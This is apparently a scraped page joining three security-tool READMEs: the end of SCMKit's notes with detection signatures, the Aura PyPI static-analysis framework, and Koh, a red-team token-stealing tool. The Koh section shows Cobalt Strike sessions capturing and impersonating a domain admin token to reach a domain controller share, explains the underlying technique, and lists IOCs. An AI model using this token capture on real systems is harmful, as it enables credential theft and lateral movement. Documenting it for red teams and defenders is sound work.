public-repo | dev | Protected: True
Status checks must pass before merge:
Branch must be up-to-date before merge: True
Owner review required before merge: True
Approvals required before merge: 2
Protections apply to repo admins: True
public-repo | main | Protected: False

Detection

Below are static signatures for the specific usage of this tool in its default state:

  • Project GUID - {266C644A-69B1-426B-A47C-1CF32B211F80}
  • User Agent String - SCMKIT-5dc493ada400c79dd318abbe770dac7c
  • Access Token & SSH Key Names - Access tokens and SSH keys that are created using the tool are prepended with SCMKIT- for the name.

For detection guidance of the techniques used by the tool, see the X-Force Red blog post.

References



Aura - Python Source Code Auditing And Static Analysis On A Large Scale

Source code auditing and static code analysis

Aura is a static analysis framework developed as a response to the ever-increasing threat of malicious packages and vulnerable code published on PyPI.

Project goals:

  • provide an automated monitoring system over uploaded packages to PyPI, alert on anomalies that can either indicate an ongoing attack or vulnerabilities in the code
  • enable an organization to conduct automated security audits of the source code and implement secure coding practices with a focus on auditing 3rd party code such as python package dependencies
  • allow researches to scan code repositories on a large scale, create datasets and perform analysis to further advance research in the area of vulnerable and malicious code dependencies

Feature list:

  • Suitable for analyzing malware with a guarantee of a zero-code execution
  • Advanced deobfuscation mechanisms by rewriting the AST tree - constant propagations, code unrolling, and other dirty tricks
  • Recursive scanning automatically unpacks archives such as zips, wheels, etc.. and scans the content
  • Support scanning also non-python files - plugins can work in a β€œraw-file” mode such as the built-in Yara integration
  • Scan for hardcoded secrets, passwords, and other sensitive information
  • Custom diff engine - you can compare changes between different data sources such as typosquatting PyPI packages to what changes were made
  • Works for both Python 2.x and Python 3.x source code
  • High performance, designed to scan the whole PyPI repository
  • Output in numerous formats such as pretty plain text, JSON, SQLite, SARIF, etc…
  • Tested on over 4TB of compressed python source code
  • Aura is able to report on code behavior such as network communication, file access, or system command execution
  • Compute the β€œAura score” telling you how trustworthy the source code/input data is
  • and much much more…

Didn't find what you are looking for? Aura's architecture is based on a robust plugin system, where you can customize almost anything, ranging from a set of data analyzers, transport protocols to custom out formats.


Installation

# Via pip:
pip install aura-security[full]
# or build from source/git
poetry install --no-dev -E full

Or just use a prebuild docker image sourcecodeai/aura:dev

Running Aura

docker run -ti --rm sourcecodeai/aura:dev scan pypi://requests -v

Aura uses a so-called URIs to identify the protocol and location to scan, if no protocol is used, the scan argument is treated as a path to the file or directory on a local system.

Diff packages:

docker run -ti --rm sourcecodeai/aura:dev diff pypi://requests pypi://requests2

Find most popular typosquatted packages (you need to call aura update to download the dataset first):

aura find-typosquatting --max-distance 2 --limit 10
Python source code auditing and static analysis on a large scale (10)

Why Aura?

While there are other tools with functionality that overlaps with Aura such as Bandit, dlint, semgrep etc. the focus of these alternatives is different which impacts the functionality and how they are being used. These alternatives are mainly intended to be used in a similar way to linters, integrated into IDEs, frequently run during the development which makes it important to minimize false positives and reporting with clear actionable explanations in ideal cases.

Aura on the other hand reports on ** behavior of the code**, anomalies, and vulnerabilities with as much information as possible at the cost of false positive. There are a lot of things reported by aura that are not necessarily actionable by a user but they tell you a lot about the behavior of the code such as doing network communication, accessing sensitive files, or using mechanisms associated with obfuscation indicating a possible malicious code. By collecting this kind of data and aggregating it together, Aura can be compared in functionality to other security systems such as antivirus, IDS, or firewalls that are essentially doing the same analysis but on a different kind of data (network communication, running processes, etc).

Here is a quick overview of differences between Aura and other similar linters and SAST tools:

  • input data:
    • Other SAST tools - usually restricted to only python (target) source code and python version under which the tool is installed.
    • Aura can analyze both binary (or non-python code) and python source code as well. Able to analyze a mixture of python code compatible with different python versions (py2k & py3k) using the same Aura installation.
  • reporting:
    • Other SAST tools - Aims at integrating well with other systems such as IDEs, CI systems with actionable results while trying to minimize false positives to prevent overwhelming users with too many non-significant alerts.
    • Aura - reports as much information as possible that is not immediately actionable such as behavioral and anomaly analysis. The output format is designed for easy machine processing and aggregation rather than human readable.
  • configuration:
    • Other SAST tools - The tools are fine-tuned to the target project by customizing the signatures to target specific technologies used by the target project. The overriding configuration is often possible by inserting comments inside the source code such as # nosec that will suppress the alert at that position
    • Aura - it is expected that there is little to no knowledge in advance about the technologies used by code that is being scanned such as auditing a new python package for approval to be used as a dependency in a project. In most cases, it is not even possible to modify the scanned source code such as using comments to indicate to linter or aura to skip detection at that location because it is scanning a copy of that code that is hosted at some remote location.

Authors & Contributors

Donate

LICENSE

Aura framework is licensed under the GPL-3.0. Datasets produced from global scans using Aura are released under the CC BY-NC 4.0 license. Use the following citation when using Aura or data produced by Aura in research:

@misc{Carnogursky2019thesis,
AUTHOR = "CARNOGURSKY, Martin",
TITLE = "Attacks on package managers [online]",
YEAR = "2019 [cit. 2020-11-02]",
TYPE = "Bachelor Thesis",
SCHOOL = "Masaryk University, Faculty of Informatics, Brno",
SUPERVISOR = "Vit Bukac",
URL = "Available at WWW <https://is.muni.cz/th/y41ft/>",
}


Koh - The Token Stealer


Koh is a C# and Beacon Object File (BOF) toolset that allows for the capture of user credential material via purposeful token/logon session leakage.

Some code was inspired by Elad Shamir's Internal-Monologue project (no license), as well as KB180548. For why this is possible and Koh's approeach, see the Technical Background section of this README.

For a deeper explanation of the motivation behind Koh and its approach, see the Koh: The Token Stealer post.

@harmj0y is the primary author of this code base. @tifkin_ helped with the approach, BOF implementation, and some token mechanics.

Koh is licensed under the BSD 3-Clause license.


Koh Server

The Koh "server" captures tokens and uses named pipes for control/communication. This can be wrapped in Donut and injected into any high-integrity SYSTEM process (see The Inline Shenanigans Bug).

Compilation

We are not planning on releasing binaries for Koh, so you will have to compile yourself :)

Koh has been built against .NET 4.7.2 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build. The Koh.exe assembly and Koh.bin Donut-built PIC will be output to the main directory. The Donut blob is both x86/x64 compatible, and is built with the following options using v0.9.3 of Donut at ./Misc/Donut.exe:

  [ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort

Donut's license is BSD 3-clause.

Usage

Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]

  • list - lists (non-network) logon sessions
  • monitor - monitors for new/unique (non-network) logon sessions
  • capture - captures one unique token per SID found for new (non-network) logon sessions

Group SIDs can be supplied command line as well, causing Koh to monitor/capture only logon sessions that contain the specified group SIDs in their negotiated token information.

Example - Listing Logon Sessions

C:\Temp>Koh.exe list

__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0


[*] Command: list

[*] Elevated to SYSTEM


[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)

Example - Monitoring for Logon Sessions (with group SID filtering)

Only lists results that have the domain admins (-512) group SID in their token information:

C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512

__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0


[*] Command: monitor

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Targeting group SIDs:
S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\DA
LUID : 81492608
Lo gonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)

Koh Client

The current usable client is a Beacon Object File at .\Clients\BOF\. Load the .\Clients\BOF\KohClient.cna aggressor script in your Cobalt Strike client to enable BOF control of the Koh server. The only requirement for using captured tokens is SeImpersonatePrivilege. The communication named pipe has an "Everyone" DACL but uses a basic shared password (super securez).

To compile fresh on Linux using Mingw, see the .\Clients\BOF\build.sh script. The only requirement (on Debian at least) should be apt-get install gcc-mingw-w64

Usage

beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit

Group SID Filtering

The koh filter add S-1-5-21-<DOMAIN>-<RID> command will only capture tokens that contain the supplied group SID. This command can be run multiple times to add additional SIDs for capture. This can help prevent possible stability issues due to a large number of token leaks.

Example - Capture

"Captures" logon sessions by negotiating usable tokens for each new session.

Server:

C:\Temp>Koh.exe capture

__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0


[*] Command: capture

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM


[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Credential UserName : testuser@THESHIRE.LOCAL
Origin LUID : 1677733 (0x1999a5)

[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)


[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Credential UserName : da@THESHIRE.LOCAL
Origin LUID : 1677765 (0x1999c5)

[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)


[*] New Logon Session - 6/22/2022 2:53:01 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Credential UserName : harmj0y@THESHIRE.LOCAL
Origin LUID : 999 (0x3e7)

[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)

BOF client:

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost

[+] received output:

Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : localadmin@THESHIRE.LOCAL
Origin LUID : 1676720

Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : da@THESHIRE.LOCAL
Origin LUID : 1677765

Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : harmj0y@THESHIRE.LOCAL
Origin LUID : 999

beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost

[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572

beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost

[+] received output:
[*] Enabled SeImpersonatePrivilege

[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost

[+] received output:
[*] Impersonation succeeded. Duplicating token.

[+] received output:
[*] Impersonated token successfully duplicated.

[+] Impersonated THESHIRE\da

beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)

beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240

Directory of \\dc.theshire.local\C$

01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> Pe rfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free

Technical Background

When a new logon session is estabslished on a system, a new token for the logon session is created by LSASS using the NtCreateToken() API call and returned by the caller of LsaLogonUser(). This increases the ReferenceCount field of the logon session kernel structure. When this ReferenceCount reaches 0, the logon session is destroyed. Because of the information described in the Why This Is Possible section, Windows systems will NOT release a logon session if a token handle still exists to it (and therefore the reference count != 0).

So if we can get a handle to a newly created logon session via a token, we can keep that logon session open and later impersonate that token to utilize any cached credentials it contains.

Why This Is Possible

According to this post by a Microsoft engineer:

After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.

MS16-111 was applied back to Windows 7/Server 2008, so this approach should be effective for everything except Server 2003 systems.

Approach

Enumerating logon sessions is easy (from an elevated context) through the use of the LsaEnumerateLogonSessions() Win32 API. What is more difficult is taking a specific logon session identifier (LUID) and somehow getting a usable token linked to that session.

Possible Approaches

We brainstormed a few ways to a) hold open logon sessions and b) abuse this for token impersonation/use of cached credentials.

  1. The first approach was to use NtCreateToken() which allows you to specify a logon session ID (LUID) to create a new token.
    • Unfortunately, you need SeCreateTokenPrivilege which is traditionally only held by LSASS, meaning you need to steal LSASS' token which isn't ideal.
    • One possibility was to add SeCreateTokenPrivilege to NT AUTHORITY\SYSTEM via LSA policy modification, but this would need a reboot/new logon session to express the new user rights.
  2. You can also focus on just RemoteInteractive logon sessions by using WTSQueryUserToken() to get tokens for new desktop sessions to clone.
    • This is the approach apparently demonstrated by Ryan.
    • Unfortunately this misses newly created local sessions and incoming sessions created from things like PSEXEC.
  3. On a new logon session, open up a handle to every reachable process and enumerate all existing handles, cloning the token linked to the new logon session.
    • This requires opening up lots of processes/handles, which looks very suspicious.
  4. The AcquireCredentialsHandle()/InitializeSecurityContext()/AcceptSecurityContext() approach described below, which is what we went with.

Our Approach

The SSPI AcquireCredentialsHandle() call has a pvLogonID field which states:

A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. 

Note: In order to utilize a logon session LUID with AcquireCredentialsHandle() you need SeTcbPrivilege, however this is usually easier to get than SeCreateTokenPrivilege.

Using this call while specifying a logon session ID/LUID appears to increase the ReferenceCount for the logon session structure, preventing it from being released. However, we're not presented with another problem: given a "leaked"/held open logon session, how do we get a usable token from it? WTSQueryUserToken() only works with desktop sessions, and there's no userland API that we could find that lets you map a LUID to a usable token.

However we can use two additional SSPI functions, InitializeSecurityContext() and AcceptSecurityContext() to act as client and server to ourselves, negotiating a new security context that we can then use with QuerySecurityContextToken() to get a usable token. This was documented in KB180548 (mirrored by PKISolutions here) for the purposes of credential validation. This is a similar approach to Internal-Monologue, except we are completing the entire handshake process, producing a token, and then holding that for later use.

Filtering can then be done on the token itself, via CheckTokenMembership() or GetTokenInformation(). For example, we could release any tokens except for ones belonging to domain admins, or specific groups we want to target.

Advantages/Disadvantages Versus Traditional Credential Extraction

Advantages

  • Works for both local and inbound (non-network) logons.
  • Works for inbound sessions created via Kerberos and NTLM.
  • Doesn’t require opening up a handle to multiple processes.
  • Doesn't create a new logon event or logon session.
  • Doesn't create additional event logs on the DC outside of normal system ticket renewal behavior (I don't think?)
  • No default lifetime on the tokens (I don't think?) so access should work as long as the captured account’s credentials don't change and the system doesn’t reboot.
  • Reuses legitimate captured auth on a system, so should "blend with the noise" reasonably well.

Disadvantages

  • Access is only usable as long as the system doesn't reboot.
  • Doesn't let you reuse access on other systems
    • However, and existing ticket/credential extraction can still be done on the leaked logon session.
  • May cause instability if a large number of sessions are leaked (though this can be mitigated with token group SID filtering) and restricting the maximum number of captured tokens (default of 1000 here).

The Inline Shenanigans Bug

I've been coding for a decent amount of time. This is one of the weirder and frustrating-to-track-down bugs I've hit in a while - please help me with this lol.

  • When the Koh.exe assembly is run from an elevated (but non-SYSTEM) context, everything works properly.

  • If the Koh.exe assembly is run via Cobalt Strike's Beacon fork&run process with execute-assembly from an elevated (but non-SYSTEM) context, everything works properly.

  • If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in a SYSTEM context, everything works properly.

  • However If the Koh.exe assembly is run inline (via InlineExecute-Assembly or Inject-Assembly) for a Cobalt Strike Beacon that's running in an elevated, but not SYSTEM, context, the call to AcquireCredentialsHandle() fails with SEC_E_NO_CREDENTIALS and everything fails Β―\_(ツ)_/Β―

We have tried (with no success):

  • Spinning off everything to a separate thread, specifying a STA thread apartment.
  • Trying to diagnose RPC weirdness (still more to investigate here).
  • Using DuplicateTokenEx and SetThreadToken instead of ImpersonateLoggedOnUser.
  • Checking if we have the proper SeTcbPrivilege right before the AcquireCredentialsHandle call (we do).

For all intents and purposes, the thread context right before the call to AcquireCredentialsHandle works in this context, but the result errors out. And we have no idea why.

If you have an idea of what this might be, please let us know! And if you want to try playing around with a simpler assembly, check out the AcquireCredentialsHandle repo on my GitHub for troubleshooting.

IOCs

To quote @tifkin_ "Everything is stealthy until someone is looking for it." While Koh's approach is slightly different than others, there are still IOCs that can be used to detect it.

The unique TypeLib GUID for the C# Koh collector is 4d5350c8-7f8c-47cf-8cde-c752018af17e as detailed in the Koh.yar Yara rule in this repo. If this is not changed on compilation, it should be a very high fidelity indicator of the Koh server.

When the Koh server starts is opens up a named pipe called \\.\pipe\imposecost that stays open as long as Koh is running. The default password used for Koh communication is password, so sending password list to any \\.\pipe\imposecost pipe will let you confirm if Koh is indeed running. The default impersonation pipe used is \\.pipe\imposingcost.

If Koh starts in an elevated context but not as SYSTEM, a handle/token clone of winlogon is performed to perform a getsystem type elevation.

I'm sure that no attackers will change the indicators mentioned above.

There are likely some RPC artifacts for the token capture that we're hoping to investigate. We will update this section of the README if we find any additional detection artifacts along these lines. Hooking of some of the possibly-uncommon APIs used by Koh (LsaEnumerateLogonSessions or the specific AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, specifically using a LUID in AcquireCredentialsHandle) could be explored for effectiveness, but alas, I am not an EDR.

TODO

  • Additional testing in the lab and field. Possible concerns:
    • Stability in production environments, specifically intentional token leakage causing issues on highly-trafficked servers
    • Total actual effective token lifetime
  • "Remote" client that allows for monitoring through the Koh named pipe remotely
  • Implement more clients (PowerShell, C#, C++, etc.)
  • Fix the Inline Shenanigans Bug


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